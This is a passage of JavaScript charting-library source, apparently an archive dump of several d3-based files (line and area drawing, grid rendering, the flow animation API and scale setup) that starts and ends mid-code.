1) ]; }; ChartInternal.prototype.generateDrawLine = function (lineIndices, isSub) { var $$ = this, config = $$.config, line = $$.d3.line(), getPoints = $$.generateGetLinePoints(lineIndices, isSub), yScaleGetter = isSub ? $$.getSubYScale : $$.getYScale, xValue = function (d) { return (isSub ? $$.subxx : $$.xx).call($$, d); }, yValue = function (d, i) { return config.data_groups.length > 0 ? getPoints(d, i)[0][1] : yScaleGetter.call($$, d.id)(d.value); }; line = config.axis_rotated ? line.x(yValue).y(xValue) : line.x(xValue).y(yValue); if (!config.line_connectNull) { line = line.defined(function (d) { return d.value != null; }); } return function (d) { var values = config.line_connectNull ? $$.filterRemoveNull(d.values) : d.values, x = isSub ? $$.subX : $$.x, y = yScaleGetter.call($$, d.id), x0 = 0, y0 = 0, path; if ($$.isLineType(d)) { if (config.data_regions[d.id]) { path = $$.lineWithRegions(values, x, y, config.data_regions[d.id]); } else { if ($$.isStepType(d)) { values = $$.convertValuesToStep(values); } path = line.curve($$.getInterpolate(d))(values); } } else { if (values[0]) { x0 = x(values[0].x); y0 = y(values[0].value); } path = config.axis_rotated ? "M " + y0 + " " + x0 : "M " + x0 + " " + y0; } return path ? path : "M 0 0"; }; }; ChartInternal.prototype.generateGetLinePoints = function (lineIndices, isSub) { // partial duplication of generateGetBarPoints var $$ = this, config = $$.config, lineTargetsNum = lineIndices.__max__ + 1, x = $$.getShapeX(0, lineTargetsNum, lineIndices, !!isSub), y = $$.getShapeY(!!isSub), lineOffset = $$.getShapeOffset($$.isLineType, lineIndices, !!isSub), yScale = isSub ? $$.getSubYScale : $$.getYScale; return function (d, i) { var y0 = yScale.call($$, d.id)(0), offset = lineOffset(d, i) || y0, // offset is for stacked area chart posX = x(d), posY = y(d); // fix posY not to overflow opposite quadrant if (config.axis_rotated) { if ((0 < d.value && posY < y0) || (d.value < 0 && y0 < posY)) { posY = y0; } } // 1 point that marks the line position return [ [posX, posY - (y0 - offset)], [posX, posY - (y0 - offset)], // needed for compatibility [posX, posY - (y0 - offset)], // needed for compatibility [posX, posY - (y0 - offset)] // needed for compatibility ]; }; }; ChartInternal.prototype.lineWithRegions = function (d, x, y, _regions) { var $$ = this, config = $$.config, prev = -1, i, j, s = "M", sWithRegion, xp, yp, dx, dy, dd, diff, diffx2, xOffset = $$.isCategorized() ? 0.5 : 0, xValue, yValue, regions = []; function isWithinRegions(x, regions) { var i; for (i = 0; i < regions.length; i++) { if (regions[i].start < x && x <= regions[i].end) { return true; } } return false; } // Check start/end of regions if (isDefined(_regions)) { for (i = 0; i < _regions.length; i++) { regions[i] = {}; if (isUndefined(_regions[i].start)) { regions[i].start = d[0].x; } else { regions[i].start = $$.isTimeSeries() ? $$.parseDate(_regions[i].start) : _regions[i].start; } if (isUndefined(_regions[i].end)) { regions[i].end = d[d.length - 1].x; } else { regions[i].end = $$.isTimeSeries() ? $$.parseDate(_regions[i].end) : _regions[i].end; } } } // Set scales xValue = config.axis_rotated ? function (d) { return y(d.value); } : function (d) { return x(d.x); }; yValue = config.axis_rotated ? function (d) { return x(d.x); } : function (d) { return y(d.value); }; // Define svg generator function for region function generateM(points) { return 'M' + points[0][0] + ' ' + points[0][1] + ' ' + points[1][0] + ' ' + points[1][1]; } if ($$.isTimeSeries()) { sWithRegion = function (d0, d1, j, diff) { var x0 = d0.x.getTime(), x_diff = d1.x - d0.x, xv0 = new Date(x0 + x_diff * j), xv1 = new Date(x0 + x_diff * (j + diff)), points; if (config.axis_rotated) { points = [[y(yp(j)), x(xv0)], [y(yp(j + diff)), x(xv1)]]; } else { points = [[x(xv0), y(yp(j))], [x(xv1), y(yp(j + diff))]]; } return generateM(points); }; } else { sWithRegion = function (d0, d1, j, diff) { var points; if (config.axis_rotated) { points = [[y(yp(j), true), x(xp(j))], [y(yp(j + diff), true), x(xp(j + diff))]]; } else { points = [[x(xp(j), true), y(yp(j))], [x(xp(j + diff), true), y(yp(j + diff))]]; } return generateM(points); }; } // Generate for (i = 0; i < d.length; i++) { // Draw as normal if (isUndefined(regions) || ! isWithinRegions(d[i].x, regions)) { s += " " + xValue(d[i]) + " " + yValue(d[i]); } // Draw with region // TODO: Fix for horizotal charts else { xp = $$.getScale(d[i - 1].x + xOffset, d[i].x + xOffset, $$.isTimeSeries()); yp = $$.getScale(d[i - 1].value, d[i].value); dx = x(d[i].x) - x(d[i - 1].x); dy = y(d[i].value) - y(d[i - 1].value); dd = Math.sqrt(Math.pow(dx, 2) + Math.pow(dy, 2)); diff = 2 / dd; diffx2 = diff * 2; for (j = diff; j <= 1; j += diffx2) { s += sWithRegion(d[i - 1], d[i], j, diff); } } prev = d[i].x; } return s; }; ChartInternal.prototype.updateArea = function (durationForExit) { var $$ = this, d3 = $$.d3; var mainArea = $$.main.selectAll('.' + CLASS.areas).selectAll('.' + CLASS.area) .data($$.lineData.bind($$)); var mainAreaEnter = mainArea.enter().append('path') .attr("class", $$.classArea.bind($$)) .style("fill", $$.color) .style("opacity", function () { $$.orgAreaOpacity = +d3.select(this).style('opacity'); return 0; }); $$.mainArea = mainAreaEnter.merge(mainArea) .style("opacity", $$.orgAreaOpacity); mainArea.exit().transition().duration(durationForExit) .style('opacity', 0); }; ChartInternal.prototype.redrawArea = function (drawArea, withTransition, transition) { return [ (withTransition ? this.mainArea.transition(transition) : this.mainArea) .attr("d", drawArea) .style("fill", this.color) .style("opacity", this.orgAreaOpacity) ]; }; ChartInternal.prototype.generateDrawArea = function (areaIndices, isSub) { var $$ = this, config = $$.config, area = $$.d3.area(), getPoints = $$.generateGetAreaPoints(areaIndices, isSub), yScaleGetter = isSub ? $$.getSubYScale : $$.getYScale, xValue = function (d) { return (isSub ? $$.subxx : $$.xx).call($$, d); }, value0 = function (d, i) { return config.data_groups.length > 0 ? getPoints(d, i)[0][1] : yScaleGetter.call($$, d.id)($$.getAreaBaseValue(d.id)); }, value1 = function (d, i) { return config.data_groups.length > 0 ? getPoints(d, i)[1][1] : yScaleGetter.call($$, d.id)(d.value); }; area = config.axis_rotated ? area.x0(value0).x1(value1).y(xValue) : area.x(xValue).y0(config.area_above ? 0 : value0).y1(value1); if (!config.line_connectNull) { area = area.defined(function (d) { return d.value !== null; }); } return function (d) { var values = config.line_connectNull ? $$.filterRemoveNull(d.values) : d.values, x0 = 0, y0 = 0, path; if ($$.isAreaType(d)) { if ($$.isStepType(d)) { values = $$.convertValuesToStep(values); } path = area.curve($$.getInterpolate(d))(values); } else { if (values[0]) { x0 = $$.x(values[0].x); y0 = $$.getYScale(d.id)(values[0].value); } path = config.axis_rotated ? "M " + y0 + " " + x0 : "M " + x0 + " " + y0; } return path ? path : "M 0 0"; }; }; ChartInternal.prototype.getAreaBaseValue = function () { return 0; }; ChartInternal.prototype.generateGetAreaPoints = function (areaIndices, isSub) { // partial duplication of generateGetBarPoints var $$ = this, config = $$.config, areaTargetsNum = areaIndices.__max__ + 1, x = $$.getShapeX(0, areaTargetsNum, areaIndices, !!isSub), y = $$.getShapeY(!!isSub), areaOffset = $$.getShapeOffset($$.isAreaType, areaIndices, !!isSub), yScale = isSub ? $$.getSubYScale : $$.getYScale; return function (d, i) { var y0 = yScale.call($$, d.id)(0), offset = areaOffset(d, i) || y0, // offset is for stacked area chart posX = x(d), posY = y(d); // fix posY not to overflow opposite quadrant if (config.axis_rotated) { if ((0 < d.value && posY < y0) || (d.value < 0 && y0 < posY)) { posY = y0; } } // 1 point that marks the area position return [ [posX, offset], [posX, posY - (y0 - offset)], [posX, posY - (y0 - offset)], // needed for compatibility [posX, offset] // needed for compatibility ]; }; }; ChartInternal.prototype.updateCircle = function (cx, cy) { var $$ = this; var mainCircle = $$.main.selectAll('.' + CLASS.circles).selectAll('.' + CLASS.circle) .data($$.lineOrScatterData.bind($$)); var mainCircleEnter = mainCircle.enter().append("circle") .attr("class", $$.classCircle.bind($$)) .attr("cx", cx) .attr("cy", cy) .attr("r", $$.pointR.bind($$)) .style("fill", $$.color); $$.mainCircle = mainCircleEnter.merge(mainCircle) .style("opacity", $$.initialOpacityForCircle.bind($$)); mainCircle.exit() .style("opacity", 0); }; ChartInternal.prototype.redrawCircle = function (cx, cy, withTransition, transition) { var $$ = this, selectedCircles = $$.main.selectAll('.' + CLASS.selectedCircle); return [ (withTransition ? $$.mainCircle.transition(transition) : $$.mainCircle) .style('opacity', this.opacityForCircle.bind($$)) .style("fill", $$.color) .attr("cx", cx) .attr("cy", cy), (withTransition ? selectedCircles.transition(transition) : selectedCircles) .attr("cx", cx) .attr("cy", cy) ]; }; ChartInternal.prototype.circleX = function (d) { return d.x || d.x === 0 ? this.x(d.x) : null; }; ChartInternal.prototype.updateCircleY = function () { var $$ = this, lineIndices, getPoints; if ($$.config.data_groups.length > 0) { lineIndices = $$.getShapeIndices($$.isLineType), getPoints = $$.generateGetLinePoints(lineIndices); $$.circleY = function (d, i) { return getPoints(d, i)[0][1]; }; } else { $$.circleY = function (d) { return $$.getYScale(d.id)(d.value); }; } }; ChartInternal.prototype.getCircles = function (i, id) { var $$ = this; return (id ? $$.main.selectAll('.' + CLASS.circles + $$.getTargetSelectorSuffix(id)) : $$.main).selectAll('.' + CLASS.circle + (isValue(i) ? '-' + i : '')); }; ChartInternal.prototype.expandCircles = function (i, id, reset) { var $$ = this, r = $$.pointExpandedR.bind($$); if (reset) { $$.unexpandCircles(); } $$.getCircles(i, id) .classed(CLASS.EXPANDED, true) .attr('r', r); }; ChartInternal.prototype.unexpandCircles = function (i) { var $$ = this, r = $$.pointR.bind($$); $$.getCircles(i) .filter(function () { return $$.d3.select(this).classed(CLASS.EXPANDED); }) .classed(CLASS.EXPANDED, false) .attr('r', r); }; ChartInternal.prototype.pointR = function (d) { var $$ = this, config = $$.config; return $$.isStepType(d) ? 0 : (isFunction(config.point_r) ? config.point_r(d) : config.point_r); }; ChartInternal.prototype.pointExpandedR = function (d) { var $$ = this, config = $$.config; if (config.point_focus_expand_enabled) { return isFunction(config.point_focus_expand_r) ? config.point_focus_expand_r(d) : ((config.point_focus_expand_r) ? config.point_focus_expand_r : $$.pointR(d) * 1.75); } else { return $$.pointR(d); } }; ChartInternal.prototype.pointSelectR = function (d) { var $$ = this, config = $$.config; return isFunction(config.point_select_r) ? config.point_select_r(d) : ((config.point_select_r) ? config.point_select_r : $$.pointR(d) * 4); }; ChartInternal.prototype.isWithinCircle = function (that, r) { var d3 = this.d3, mouse = d3.mouse(that), d3_this = d3.select(that), cx = +d3_this.attr("cx"), cy = +d3_this.attr("cy"); return Math.sqrt(Math.pow(cx - mouse[0], 2) + Math.pow(cy - mouse[1], 2)) < r; }; ChartInternal.prototype.isWithinStep = function (that, y) { return Math.abs(y - this.d3.mouse(that)[1]) < 30; }; grid.js000064400000026534151677320360006053 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; import { isValue } from './util'; ChartInternal.prototype.initGrid = function () { var $$ = this, config = $$.config, d3 = $$.d3; $$.grid = $$.main.append('g') .attr("clip-path", $$.clipPathForGrid) .attr('class', CLASS.grid); if (config.grid_x_show) { $$.grid.append("g").attr("class", CLASS.xgrids); } if (config.grid_y_show) { $$.grid.append('g').attr('class', CLASS.ygrids); } if (config.grid_focus_show) { $$.grid.append('g') .attr("class", CLASS.xgridFocus) .append('line') .attr('class', CLASS.xgridFocus); } $$.xgrid = d3.selectAll([]); if (!config.grid_lines_front) { $$.initGridLines(); } }; ChartInternal.prototype.initGridLines = function () { var $$ = this, d3 = $$.d3; $$.gridLines = $$.main.append('g') .attr("clip-path", $$.clipPathForGrid) .attr('class', CLASS.grid + ' ' + CLASS.gridLines); $$.gridLines.append('g').attr("class", CLASS.xgridLines); $$.gridLines.append('g').attr('class', CLASS.ygridLines); $$.xgridLines = d3.selectAll([]); }; ChartInternal.prototype.updateXGrid = function (withoutUpdate) { var $$ = this, config = $$.config, d3 = $$.d3, xgridData = $$.generateGridData(config.grid_x_type, $$.x), tickOffset = $$.isCategorized() ? $$.xAxis.tickOffset() : 0; $$.xgridAttr = config.axis_rotated ? { 'x1': 0, 'x2': $$.width, 'y1': function (d) { return $$.x(d) - tickOffset; }, 'y2': function (d) { return $$.x(d) - tickOffset; } } : { 'x1': function (d) { return $$.x(d) + tickOffset; }, 'x2': function (d) { return $$.x(d) + tickOffset; }, 'y1': 0, 'y2': $$.height }; $$.xgridAttr.opacity = function () { var pos = +d3.select(this).attr(config.axis_rotated ? 'y1' : 'x1'); return pos === (config.axis_rotated ? $$.height : 0) ? 0 : 1; }; var xgrid = $$.main.select('.' + CLASS.xgrids).selectAll('.' + CLASS.xgrid) .data(xgridData); var xgridEnter = xgrid.enter().append('line') .attr("class", CLASS.xgrid) .attr('x1', $$.xgridAttr.x1) .attr('x2', $$.xgridAttr.x2) .attr('y1', $$.xgridAttr.y1) .attr('y2', $$.xgridAttr.y2) .style("opacity", 0); $$.xgrid = xgridEnter.merge(xgrid); if (!withoutUpdate) { $$.xgrid .attr('x1', $$.xgridAttr.x1) .attr('x2', $$.xgridAttr.x2) .attr('y1', $$.xgridAttr.y1) .attr('y2', $$.xgridAttr.y2) .style("opacity", $$.xgridAttr.opacity); } xgrid.exit().remove(); }; ChartInternal.prototype.updateYGrid = function () { var $$ = this, config = $$.config, gridValues = $$.yAxis.tickValues() || $$.y.ticks(config.grid_y_ticks); var ygrid = $$.main.select('.' + CLASS.ygrids).selectAll('.' + CLASS.ygrid) .data(gridValues); var ygridEnter = ygrid.enter().append('line') // TODO: x1, x2, y1, y2, opacity need to be set here maybe .attr('class', CLASS.ygrid); $$.ygrid = ygridEnter.merge(ygrid); $$.ygrid .attr("x1", config.axis_rotated ? $$.y : 0) .attr("x2", config.axis_rotated ? $$.y : $$.width) .attr("y1", config.axis_rotated ? 0 : $$.y) .attr("y2", config.axis_rotated ? $$.height : $$.y); ygrid.exit().remove(); $$.smoothLines($$.ygrid, 'grid'); }; ChartInternal.prototype.gridTextAnchor = function (d) { return d.position ? d.position : "end"; }; ChartInternal.prototype.gridTextDx = function (d) { return d.position === 'start' ? 4 : d.position === 'middle' ? 0 : -4; }; ChartInternal.prototype.xGridTextX = function (d) { return d.position === 'start' ? -this.height : d.position === 'middle' ? -this.height / 2 : 0; }; ChartInternal.prototype.yGridTextX = function (d) { return d.position === 'start' ? 0 : d.position === 'middle' ? this.width / 2 : this.width; }; ChartInternal.prototype.updateGrid = function (duration) { var $$ = this, main = $$.main, config = $$.config, xgridLine, xgridLineEnter, ygridLine, ygridLineEnter, xv = $$.xv.bind($$), yv = $$.yv.bind($$), xGridTextX = $$.xGridTextX.bind($$), yGridTextX = $$.yGridTextX.bind($$); // hide if arc type $$.grid.style('visibility', $$.hasArcType() ? 'hidden' : 'visible'); main.select('line.' + CLASS.xgridFocus).style("visibility", "hidden"); if (config.grid_x_show) { $$.updateXGrid(); } xgridLine = main.select('.' + CLASS.xgridLines).selectAll('.' + CLASS.xgridLine) .data(config.grid_x_lines); // enter xgridLineEnter = xgridLine.enter().append('g') .attr("class", function (d) { return CLASS.xgridLine + (d['class'] ? ' ' + d['class'] : ''); }); xgridLineEnter.append('line') .attr("x1", config.axis_rotated ? 0 : xv) .attr("x2", config.axis_rotated ? $$.width : xv) .attr("y1", config.axis_rotated ? xv : 0) .attr("y2", config.axis_rotated ? xv : $$.height) .style("opacity", 0); xgridLineEnter.append('text') .attr("text-anchor", $$.gridTextAnchor) .attr("transform", config.axis_rotated ? "" : "rotate(-90)") .attr("x", config.axis_rotated ? yGridTextX : xGridTextX) .attr("y", xv) .attr('dx', $$.gridTextDx) .attr('dy', -5) .style("opacity", 0); // udpate $$.xgridLines = xgridLineEnter.merge(xgridLine); // done in d3.transition() of the end of this function // exit xgridLine.exit().transition().duration(duration) .style("opacity", 0) .remove(); // Y-Grid if (config.grid_y_show) { $$.updateYGrid(); } ygridLine = main.select('.' + CLASS.ygridLines).selectAll('.' + CLASS.ygridLine) .data(config.grid_y_lines); // enter ygridLineEnter = ygridLine.enter().append('g') .attr("class", function (d) { return CLASS.ygridLine + (d['class'] ? ' ' + d['class'] : ''); }); ygridLineEnter.append('line') .attr("x1", config.axis_rotated ? yv : 0) .attr("x2", config.axis_rotated ? yv : $$.width) .attr("y1", config.axis_rotated ? 0 : yv) .attr("y2", config.axis_rotated ? $$.height : yv) .style("opacity", 0); ygridLineEnter.append('text') .attr("text-anchor", $$.gridTextAnchor) .attr("transform", config.axis_rotated ? "rotate(-90)" : "") .attr("x", config.axis_rotated ? xGridTextX : yGridTextX) .attr("y", yv) .attr('dx', $$.gridTextDx) .attr('dy', -5) .style("opacity", 0); // update $$.ygridLines = ygridLineEnter.merge(ygridLine); $$.ygridLines.select('line') .transition().duration(duration) .attr("x1", config.axis_rotated ? yv : 0) .attr("x2", config.axis_rotated ? yv : $$.width) .attr("y1", config.axis_rotated ? 0 : yv) .attr("y2", config.axis_rotated ? $$.height : yv) .style("opacity", 1); $$.ygridLines.select('text') .transition().duration(duration) .attr("x", config.axis_rotated ? $$.xGridTextX.bind($$) : $$.yGridTextX.bind($$)) .attr("y", yv) .text(function (d) { return d.text; }) .style("opacity", 1); // exit ygridLine.exit().transition().duration(duration) .style("opacity", 0) .remove(); }; ChartInternal.prototype.redrawGrid = function (withTransition, transition) { var $$ = this, config = $$.config, xv = $$.xv.bind($$), lines = $$.xgridLines.select('line'), texts = $$.xgridLines.select('text'); return [ (withTransition ? lines.transition(transition) : lines) .attr("x1", config.axis_rotated ? 0 : xv) .attr("x2", config.axis_rotated ? $$.width : xv) .attr("y1", config.axis_rotated ? xv : 0) .attr("y2", config.axis_rotated ? xv : $$.height) .style("opacity", 1), (withTransition ? texts.transition(transition) : texts) .attr("x", config.axis_rotated ? $$.yGridTextX.bind($$) : $$.xGridTextX.bind($$)) .attr("y", xv) .text(function (d) { return d.text; }) .style("opacity", 1) ]; }; ChartInternal.prototype.showXGridFocus = function (selectedData) { var $$ = this, config = $$.config, dataToShow = selectedData.filter(function (d) { return d && isValue(d.value); }), focusEl = $$.main.selectAll('line.' + CLASS.xgridFocus), xx = $$.xx.bind($$); if (! config.tooltip_show) { return; } // Hide when scatter plot exists if ($$.hasType('scatter') || $$.hasArcType()) { return; } focusEl .style("visibility", "visible") .data([dataToShow[0]]) .attr(config.axis_rotated ? 'y1' : 'x1', xx) .attr(config.axis_rotated ? 'y2' : 'x2', xx); $$.smoothLines(focusEl, 'grid'); }; ChartInternal.prototype.hideXGridFocus = function () { this.main.select('line.' + CLASS.xgridFocus).style("visibility", "hidden"); }; ChartInternal.prototype.updateXgridFocus = function () { var $$ = this, config = $$.config; $$.main.select('line.' + CLASS.xgridFocus) .attr("x1", config.axis_rotated ? 0 : -10) .attr("x2", config.axis_rotated ? $$.width : -10) .attr("y1", config.axis_rotated ? -10 : 0) .attr("y2", config.axis_rotated ? -10 : $$.height); }; ChartInternal.prototype.generateGridData = function (type, scale) { var $$ = this, gridData = [], xDomain, firstYear, lastYear, i, tickNum = $$.main.select("." + CLASS.axisX).selectAll('.tick').size(); if (type === 'year') { xDomain = $$.getXDomain(); firstYear = xDomain[0].getFullYear(); lastYear = xDomain[1].getFullYear(); for (i = firstYear; i <= lastYear; i++) { gridData.push(new Date(i + '-01-01 00:00:00')); } } else { gridData = scale.ticks(10); if (gridData.length > tickNum) { // use only int gridData = gridData.filter(function (d) { return ("" + d).indexOf('.') < 0; }); } } return gridData; }; ChartInternal.prototype.getGridFilterToRemove = function (params) { return params ? function (line) { var found = false; [].concat(params).forEach(function (param) { if ((('value' in param && line.value === param.value) || ('class' in param && line['class'] === param['class']))) { found = true; } }); return found; } : function () { return true; }; }; ChartInternal.prototype.removeGridLines = function (params, forX) { var $$ = this, config = $$.config, toRemove = $$.getGridFilterToRemove(params), toShow = function (line) { return !toRemove(line); }, classLines = forX ? CLASS.xgridLines : CLASS.ygridLines, classLine = forX ? CLASS.xgridLine : CLASS.ygridLine; $$.main.select('.' + classLines).selectAll('.' + classLine).filter(toRemove) .transition().duration(config.transition_duration) .style('opacity', 0).remove(); if (forX) { config.grid_x_lines = config.grid_x_lines.filter(toShow); } else { config.grid_y_lines = config.grid_y_lines.filter(toShow); } }; api.flow.js000064400000026460151677320360006643 0ustar00import CLASS from './class'; import { Chart, ChartInternal } from './core'; import { isValue, isDefined, diffDomain } from './util'; Chart.prototype.flow = function (args) { var $$ = this.internal, targets, data, notfoundIds = [], orgDataCount = $$.getMaxDataCount(), dataCount, domain, baseTarget, baseValue, length = 0, tail = 0, diff, to; if (args.json) { data = $$.convertJsonToData(args.json, args.keys); } else if (args.rows) { data = $$.convertRowsToData(args.rows); } else if (args.columns) { data = $$.convertColumnsToData(args.columns); } else { return; } targets = $$.convertDataToTargets(data, true); // Update/Add data $$.data.targets.forEach(function (t) { var found = false, i, j; for (i = 0; i < targets.length; i++) { if (t.id === targets[i].id) { found = true; if (t.values[t.values.length - 1]) { tail = t.values[t.values.length - 1].index + 1; } length = targets[i].values.length; for (j = 0; j < length; j++) { targets[i].values[j].index = tail + j; if (!$$.isTimeSeries()) { targets[i].values[j].x = tail + j; } } t.values = t.values.concat(targets[i].values); targets.splice(i, 1); break; } } if (!found) { notfoundIds.push(t.id); } }); // Append null for not found targets $$.data.targets.forEach(function (t) { var i, j; for (i = 0; i < notfoundIds.length; i++) { if (t.id === notfoundIds[i]) { tail = t.values[t.values.length - 1].index + 1; for (j = 0; j < length; j++) { t.values.push({ id: t.id, index: tail + j, x: $$.isTimeSeries() ? $$.getOtherTargetX(tail + j) : tail + j, value: null }); } } } }); // Generate null values for new target if ($$.data.targets.length) { targets.forEach(function (t) { var i, missing = []; for (i = $$.data.targets[0].values[0].index; i < tail; i++) { missing.push({ id: t.id, index: i, x: $$.isTimeSeries() ? $$.getOtherTargetX(i) : i, value: null }); } t.values.forEach(function (v) { v.index += tail; if (!$$.isTimeSeries()) { v.x += tail; } }); t.values = missing.concat(t.values); }); } $$.data.targets = $$.data.targets.concat(targets); // add remained // check data count because behavior needs to change when it's only one dataCount = $$.getMaxDataCount(); baseTarget = $$.data.targets[0]; baseValue = baseTarget.values[0]; // Update length to flow if needed if (isDefined(args.to)) { length = 0; to = $$.isTimeSeries() ? $$.parseDate(args.to) : args.to; baseTarget.values.forEach(function (v) { if (v.x < to) { length++; } }); } else if (isDefined(args.length)) { length = args.length; } // If only one data, update the domain to flow from left edge of the chart if (!orgDataCount) { if ($$.isTimeSeries()) { if (baseTarget.values.length > 1) { diff = baseTarget.values[baseTarget.values.length - 1].x - baseValue.x; } else { diff = baseValue.x - $$.getXDomain($$.data.targets)[0]; } } else { diff = 1; } domain = [baseValue.x - diff, baseValue.x]; $$.updateXDomain(null, true, true, false, domain); } else if (orgDataCount === 1) { if ($$.isTimeSeries()) { diff = (baseTarget.values[baseTarget.values.length - 1].x - baseValue.x) / 2; domain = [new Date(+baseValue.x - diff), new Date(+baseValue.x + diff)]; $$.updateXDomain(null, true, true, false, domain); } } // Set targets $$.updateTargets($$.data.targets); // Redraw with new targets $$.redraw({ flow: { index: baseValue.index, length: length, duration: isValue(args.duration) ? args.duration : $$.config.transition_duration, done: args.done, orgDataCount: orgDataCount, }, withLegend: true, withTransition: orgDataCount > 1, withTrimXDomain: false, withUpdateXAxis: true, }); }; ChartInternal.prototype.generateFlow = function (args) { var $$ = this, config = $$.config, d3 = $$.d3; return function () { var targets = args.targets, flow = args.flow, drawBar = args.drawBar, drawLine = args.drawLine, drawArea = args.drawArea, cx = args.cx, cy = args.cy, xv = args.xv, xForText = args.xForText, yForText = args.yForText, duration = args.duration; var translateX, scaleX = 1, transform, flowIndex = flow.index, flowLength = flow.length, flowStart = $$.getValueOnIndex($$.data.targets[0].values, flowIndex), flowEnd = $$.getValueOnIndex($$.data.targets[0].values, flowIndex + flowLength), orgDomain = $$.x.domain(), domain, durationForFlow = flow.duration || duration, done = flow.done || function () {}, wait = $$.generateWait(); var xgrid, xgridLines, mainRegion, mainText, mainBar, mainLine, mainArea, mainCircle; // set flag $$.flowing = true; // remove head data after rendered $$.data.targets.forEach(function (d) { d.values.splice(0, flowLength); }); // update x domain to generate axis elements for flow domain = $$.updateXDomain(targets, true, true); // update elements related to x scale if ($$.updateXGrid) { $$.updateXGrid(true); } xgrid = $$.xgrid || d3.selectAll([]); // xgrid needs to be obtained after updateXGrid xgridLines = $$.xgridLines || d3.selectAll([]); mainRegion = $$.mainRegion || d3.selectAll([]); mainText = $$.mainText || d3.selectAll([]); mainBar = $$.mainBar || d3.selectAll([]); mainLine = $$.mainLine || d3.selectAll([]); mainArea = $$.mainArea || d3.selectAll([]); mainCircle = $$.mainCircle || d3.selectAll([]); // generate transform to flow if (!flow.orgDataCount) { // if empty if ($$.data.targets[0].values.length !== 1) { translateX = $$.x(orgDomain[0]) - $$.x(domain[0]); } else { if ($$.isTimeSeries()) { flowStart = $$.getValueOnIndex($$.data.targets[0].values, 0); flowEnd = $$.getValueOnIndex($$.data.targets[0].values, $$.data.targets[0].values.length - 1); translateX = $$.x(flowStart.x) - $$.x(flowEnd.x); } else { translateX = diffDomain(domain) / 2; } } } else if (flow.orgDataCount === 1 || (flowStart && flowStart.x) === (flowEnd && flowEnd.x)) { translateX = $$.x(orgDomain[0]) - $$.x(domain[0]); } else { if ($$.isTimeSeries()) { translateX = ($$.x(orgDomain[0]) - $$.x(domain[0])); } else { translateX = ($$.x(flowStart.x) - $$.x(flowEnd.x)); } } scaleX = (diffDomain(orgDomain) / diffDomain(domain)); transform = 'translate(' + translateX + ',0) scale(' + scaleX + ',1)'; $$.hideXGridFocus(); var flowTransition = d3.transition().ease(d3.easeLinear).duration(durationForFlow); wait.add($$.xAxis($$.axes.x, flowTransition)); wait.add(mainBar.transition(flowTransition).attr('transform', transform)); wait.add(mainLine.transition(flowTransition).attr('transform', transform)); wait.add(mainArea.transition(flowTransition).attr('transform', transform)); wait.add(mainCircle.transition(flowTransition).attr('transform', transform)); wait.add(mainText.transition(flowTransition).attr('transform', transform)); wait.add(mainRegion.filter($$.isRegionOnX).transition(flowTransition).attr('transform', transform)); wait.add(xgrid.transition(flowTransition).attr('transform', transform)); wait.add(xgridLines.transition(flowTransition).attr('transform', transform)); wait(function () { var i, shapes = [], texts = []; // remove flowed elements if (flowLength) { for (i = 0; i < flowLength; i++) { shapes.push('.' + CLASS.shape + '-' + (flowIndex + i)); texts.push('.' + CLASS.text + '-' + (flowIndex + i)); } $$.svg.selectAll('.' + CLASS.shapes).selectAll(shapes).remove(); $$.svg.selectAll('.' + CLASS.texts).selectAll(texts).remove(); $$.svg.select('.' + CLASS.xgrid).remove(); } // draw again for removing flowed elements and reverting attr xgrid .attr('transform', null) .attr('x1', $$.xgridAttr.x1) .attr('x2', $$.xgridAttr.x2) .attr('y1', $$.xgridAttr.y1) .attr('y2', $$.xgridAttr.y2) .style("opacity", $$.xgridAttr.opacity); xgridLines .attr('transform', null); xgridLines.select('line') .attr("x1", config.axis_rotated ? 0 : xv) .attr("x2", config.axis_rotated ? $$.width : xv); xgridLines.select('text') .attr("x", config.axis_rotated ? $$.width : 0) .attr("y", xv); mainBar .attr('transform', null) .attr("d", drawBar); mainLine .attr('transform', null) .attr("d", drawLine); mainArea .attr('transform', null) .attr("d", drawArea); mainCircle .attr('transform', null) .attr("cx", cx) .attr("cy", cy); mainText .attr('transform', null) .attr('x', xForText) .attr('y', yForText) .style('fill-opacity', $$.opacityForText.bind($$)); mainRegion .attr('transform', null); mainRegion.filter($$.isRegionOnX) .attr("x", $$.regionX.bind($$)) .attr("width", $$.regionWidth.bind($$)); // callback for end of flow done(); $$.flowing = false; }); }; }; scale.js000064400000007561151677320360006214 0ustar00import { ChartInternal } from './core'; ChartInternal.prototype.getScale = function (min, max, forTimeseries) { return (forTimeseries ? this.d3.scaleTime() : this.d3.scaleLinear()).range([min, max]); }; ChartInternal.prototype.getX = function (min, max, domain, offset) { var $$ = this, scale = $$.getScale(min, max, $$.isTimeSeries()), _scale = domain ? scale.domain(domain) : scale, key; // Define customized scale if categorized axis if ($$.isCategorized()) { offset = offset || function () { return 0; }; scale = function (d, raw) { var v = _scale(d) + offset(d); return raw ? v : Math.ceil(v); }; } else { scale = function (d, raw) { var v = _scale(d); return raw ? v : Math.ceil(v); }; } // define functions for (key in _scale) { scale[key] = _scale[key]; } scale.orgDomain = function () { return _scale.domain(); }; // define custom domain() for categorized axis if ($$.isCategorized()) { scale.domain = function (domain) { if (!arguments.length) { domain = this.orgDomain(); return [domain[0], domain[1] + 1]; } _scale.domain(domain); return scale; }; } return scale; }; ChartInternal.prototype.getY = function (min, max, domain) { var scale = this.getScale(min, max, this.isTimeSeriesY()); if (domain) { scale.domain(domain); } return scale; }; ChartInternal.prototype.getYScale = function (id) { return this.axis.getId(id) === 'y2' ? this.y2 : this.y; }; ChartInternal.prototype.getSubYScale = function (id) { return this.axis.getId(id) === 'y2' ? this.subY2 : this.subY; }; ChartInternal.prototype.updateScales = function () { var $$ = this, config = $$.config, forInit = !$$.x; // update edges $$.xMin = config.axis_rotated ? 1 : 0; $$.xMax = config.axis_rotated ? $$.height : $$.width; $$.yMin = config.axis_rotated ? 0 : $$.height; $$.yMax = config.axis_rotated ? $$.width : 1; $$.subXMin = $$.xMin; $$.subXMax = $$.xMax; $$.subYMin = config.axis_rotated ? 0 : $$.height2; $$.subYMax = config.axis_rotated ? $$.width2 : 1; // update scales $$.x = $$.getX($$.xMin, $$.xMax, forInit ? undefined : $$.x.orgDomain(), function () { return $$.xAxis.tickOffset(); }); $$.y = $$.getY($$.yMin, $$.yMax, forInit ? config.axis_y_default : $$.y.domain()); $$.y2 = $$.getY($$.yMin, $$.yMax, forInit ? config.axis_y2_default : $$.y2.domain()); $$.subX = $$.getX($$.xMin, $$.xMax, $$.orgXDomain, function (d) { return d % 1 ? 0 : $$.subXAxis.tickOffset(); 